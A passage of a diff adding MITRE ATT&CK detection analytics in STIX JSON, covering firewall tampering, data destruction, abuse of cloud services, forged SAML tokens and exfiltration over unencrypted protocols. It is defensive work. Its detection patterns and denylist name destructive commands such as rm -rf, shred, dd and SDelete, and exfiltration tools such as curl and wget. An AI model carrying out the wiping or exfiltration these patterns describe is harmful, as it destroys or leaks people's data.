com.apple.alf" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PFConfigFiles", + "description": "Monitor for baseline pf.conf and custom rule file modifications." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1fecb6f7-e72f-452e-a078-3298cba8d481", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0145#AN0409", + "external_id": "AN0409" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0409", + "description": "Detection of firewall changes using esxcli network firewall set or vSphere API modifications. Sudden disabling of firewall rules across management interfaces is a strong adversarial signal.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:hostd", + "channel": "esxcli network firewall set commands" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f", + "name": "esxi:hostd", + "channel": "vSphere API calls modifying firewall settings" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "APIMethods", + "description": "Whitelist of authorized vSphere API methods for firewall configuration." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1216ae5e-bc5c-4672-a216-2706fb9ba3df", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0145#AN0410", + "external_id": "AN0410" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0410", + "description": "Detection of firewall ACL or rule base changes through CLI (e.g., no access-list, permit any any). Monitor configuration commits from unusual users or sessions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f", + "name": "networkdevice:cli", + "channel": "firewall disable commands or suspicious ACL modifications" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthorizedAdmins", + "description": "List of approved admin accounts allowed to modify firewall ACLs." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--791dfdd4-b04d-498a-accc-ee9e2acc7b14", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0146#AN0411", + "external_id": "AN0411" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0411", + "description": "Adversary spawns command-line tools (e.g., del, cipher /w, SDelete) or scripts to recursively delete or overwrite user/system files. This may be correlated with abnormal file IO activity, registry writes, or tampering in critical system directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=23" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetFilename", + "description": "Filter file deletion activity to sensitive locations (e.g., %System32%, Documents, DB paths)." + }, + { + "field": "ProcessCommandLine", + "description": "Tune for aggressive overwrite flags (e.g., /w, /q, /s) or temp file overwrites." + }, + { + "field": "VolumeThreshold", + "description": "Threshold of unique file deletions or modifications within time window." + }, + { + "field": "TimeWindow", + "description": "Correlate rapid file delete/overwrite behavior from same process/user." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--839d7053-fc62-433a-8eb2-ed87605160f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0146#AN0412", + "external_id": "AN0412" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0412", + "description": "Massive recursive deletions or overwrites via `rm -rf`, `shred`, `dd`, or wiper binaries. May include unlink syscalls, deletion of known config/data paths, or sequential overwrite patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "auditd:SYSCALL", + "channel": "unlink, unlinkat, openat, write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutablePath", + "description": "Focus on binaries like shred, dd, wipe, custom wipers, or bash execution chains." + }, + { + "field": "DeletedPathPattern", + "description": "Tune for critical mount points or home/data directories." + }, + { + "field": "SyscallBurstRate", + "description": "Rate of unlink/unlinkat syscalls to indicate mass deletion in a short period." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5e1b310a-ce3d-4271-83e0-87cd2862f959", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0146#AN0413", + "external_id": "AN0413" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0413", + "description": "Destruction via `rm -rf`, overwrite with `dd` or `srm`, often executed by script in /tmp or /private/tmp, may also involve file overwrite to political or decoy image data.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "macos:unifiedlog", + "channel": "exec rm -rf|dd if=/dev|srm|file unlink" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "macos:unifiedlog", + "channel": "process.*exit.*code" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandPattern", + "description": "Focus on high-risk patterns in temporary directories or key system paths." + }, + { + "field": "EntropyChangeRate", + "description": "Optional anomaly detection on overwritten files with high-entropy payloads." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c6f35e44-459c-456b-97a7-997eb2baefb9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0146#AN0414", + "external_id": "AN0414" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0414", + "description": "Adversary deletes critical infrastructure: EC2 instances, S3 buckets, snapshots, or volumes using elevated IAM credentials. Frequently includes batch API calls with `Delete*` or `TerminateInstances`.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--4c41e296-b8d2-4a37-b789-eb565c87c00c", + "name": "AWS:CloudTrail", + "channel": "DeleteBucket, DeleteDBCluster, DeleteSnapshot, TerminateInstances" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "OperationType", + "description": "Correlate multiple destructive API calls over short intervals." + }, + { + "field": "UserAgent", + "description": "Flag non-console/API clients initiating destructive behavior." + }, + { + "field": "RegionScope", + "description": "Observe whether deletions span multiple regions or org accounts." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9ea1e329-691a-43a7-b56d-affbc00fb9e7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0146#AN0415", + "external_id": "AN0415" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0415", + "description": "Adversary destroys virtual disks (VMDK), images, or VMs by invoking `vim-cmd`, deleting datastore contents, or purging snapshots.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3acecdde-c327-4498-9bb8-33a2e63c6c57", + "name": "esxi:vmkernel", + "channel": "file delete|datastore purge" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DatastorePath", + "description": "Targeted deletion of critical VMDKs or VM configuration files." + }, + { + "field": "InitiatingUser", + "description": "Detect deletions from users outside normal maintenance windows." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7735a0b1-f3bc-44fc-a909-75738e77bded", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0146#AN0416", + "external_id": "AN0416" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0416", + "description": "Container process executes destructive file operations inside volume mounts or host paths. Includes `rm -rf /mnt/volumes/`, container breakout followed by host deletion attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "auditd:SYSCALL", + "channel": "unlink, unlinkat, rmdir" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "docker:events", + "channel": "container exec rm|container stop --force" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MountPoint", + "description": "Identify when deletions occur inside persistent or shared volume paths." + }, + { + "field": "ContainerImage", + "description": "Correlate destructive behavior with unknown or untrusted container sources." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--01967eb2-5169-4113-aff0-ac2180fd14d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0147#AN0417", + "external_id": "AN0417" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0417", + "description": "Adversary gains access to cloud-hosted services such as AWS SES, SNS, or OpenAI API, enables or modifies usage policies, and initiates resource-intensive actions (e.g., mass email/SMS or LLM queries), often from unauthorized regions or under anomalous identity conditions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "AWS:CloudTrail", + "channel": "PutIdentityPolicy" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "AWS:CloudTrail", + "channel": "SendEmail" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "AWS:CloudTrail", + "channel": "AssumeRole" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Define threshold period over which request spikes are measured. E.g., 10 min or 1 hour windows." + }, + { + "field": "UserContext", + "description": "Alert only if role/user is outside expected automation identity list." + }, + { + "field": "RequestVolumeThreshold", + "description": "Customize the number of emails/SMS or API calls considered anomalous." + }, + { + "field": "GeoVelocityThreshold", + "description": "Tune geolocation jump logic (e.g., login from US, then use service in Asia within minutes)." + }, + { + "field": "ModelUsageQuotaSpike", + "description": "Set maximum allowable deviation from past 7-day average OpenAI/GPT token usage." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3cb835e5-ded1-42c4-a5cc-38911078b0a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0148#AN0418", + "external_id": "AN0418" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0418", + "description": "Forged SAML tokens can be observed as authentication attempts with valid signatures but missing expected preceding Kerberos or authentication events. Defenders may correlate SAML assertions with absent Event IDs 4769, 1200, or 1202, or tokens issued with abnormal lifetimes, issuers, or claims compared to baseline.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "azure:signinLogs", + "channel": "SAML-based login with anomalous issuer or NotOnOrAfter lifetime" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "WinEventLog:Security", + "channel": "EventCode=4769,1200,1202" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TokenLifetimeThreshold", + "description": "Defines the maximum expected lifetime of a SAML token (e.g., >1 hour considered anomalous)." + }, + { + "field": "TrustedIssuerList", + "description": "List of approved SAML issuers and certificate thumbprints." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5c6e9102-b3ef-4eaa-85c1-bb5702df0f45", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0148#AN0419", + "external_id": "AN0419" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0419", + "description": "Forged SAML tokens in IaaS environments often manifest as cross-cloud or cross-account authentication without matching STS events. Defenders may see AssumeRole or GetFederationToken API usage without a corresponding SAML assertion log from the trusted IdP.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "AWS:CloudTrail", + "channel": "AssumeRoleWithSAML" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "CloudTrail:Signin", + "channel": "SAML login without corresponding IdP authentication log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CrossAccountUsage", + "description": "Flag SAML tokens used across unexpected accounts or cloud tenants." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5d2820b1-af59-4ca2-9f9e-b5bc76f55395", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0148#AN0420", + "external_id": "AN0420" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0420", + "description": "Forged SAML tokens may be used on Windows systems to authenticate to federated apps without normal Kerberos activity. Defenders may detect anomalous event correlation, where access to SaaS/O365 via SAML occurs without prior TGT requests or user logons.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5f7c9def-0ddf-423b-b1f8-fb2ddeed0ce3", + "name": "WinEventLog:ADFS", + "channel": "Token issuance events showing anomalous claims or issuers" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ClaimAnomalyThreshold", + "description": "Number of unusual claims in a SAML token (e.g., excessive privileges)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--93c97a07-283e-46c5-b2ac-560db0382ea9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0148#AN0421", + "external_id": "AN0421" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0421", + "description": "Forged SAML tokens can appear as SaaS logins where authentication succeeded without MFA, or where tokens contain claims inconsistent with the user profile. Look for concurrent sessions across different geographies with the same SAML assertion ID.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "saas:access", + "channel": "SAML token accepted without preceding login challenge" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "m365:unified", + "channel": "Abnormal user claims or unexpected elevated role assignment in SAML assertion" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GeoVelocityThreshold", + "description": "Triggers when same SAML token used in different geographies within short timeframe." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8359e4ed-c4a1-4734-a3dd-e2d3eb33bc90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0148#AN0422", + "external_id": "AN0422" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0422", + "description": "Forged SAML tokens may be leveraged to access O365 apps such as Outlook or SharePoint. Defenders should monitor for token replay across multiple clients or access attempts to privileged mailboxes without prior interactive login.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "m365:exchange", + "channel": "Mailbox access using SAML token without corresponding MFA event" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "m365:sharepoint", + "channel": "File access with forged or anomalous SAML claims" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ReplayDetectionThreshold", + "description": "Number of times a token is reused within short timeframe." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d265376d-3cdc-4e95-a8ea-4c4278860218", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0149#AN0423", + "external_id": "AN0423" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0423", + "description": "Detects data access or staging events followed by outbound data flows using unencrypted protocols (e.g., FTP, HTTP) initiated by unexpected processes or to rare destinations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http.log, ftp.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UnencryptedProtocolList", + "description": "Set of protocols considered suspicious for outbound data exfiltration (e.g., FTP, HTTP)." + }, + { + "field": "DataTransferSizeThreshold", + "description": "Defines what amount of outbound data is considered abnormal for a host/user." + }, + { + "field": "ParentProcessDenylist", + "description": "Processes that should not launch FTP/HTTP clients (e.g., winword.exe launching ftp.exe)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ad5fb8d4-7f1c-4442-a4e5-96592364c4cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0149#AN0424", + "external_id": "AN0424" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0424", + "description": "Detects file access or compression utilities followed by outbound connections using curl, wget, ftp, or custom binaries communicating over unencrypted protocols.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "connect" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http.log, ftp.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "flow records" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SensitiveDirectoryWatchlist", + "description": "Flag access to paths known to store sensitive or regulated data." + }, + { + "field": "ProcessBaseline", + "description": "Define which binaries are allowed to communicate externally using HTTP/FTP." + }, + { + "field": "TimeWindow", + "description": "Correlates process/file/network within a defined time window." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b608c89f-ce2c-4993-8522-7b2731851606", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0149#AN0425", + "external_id": "AN0425" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0425", + "description": "Detects abnormal outbound HTTP/FTP connections by local scripts or binaries outside of standard browser activity, following access to local documents or user data.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:osquery", + "channel": "socket_events" + }, + { + 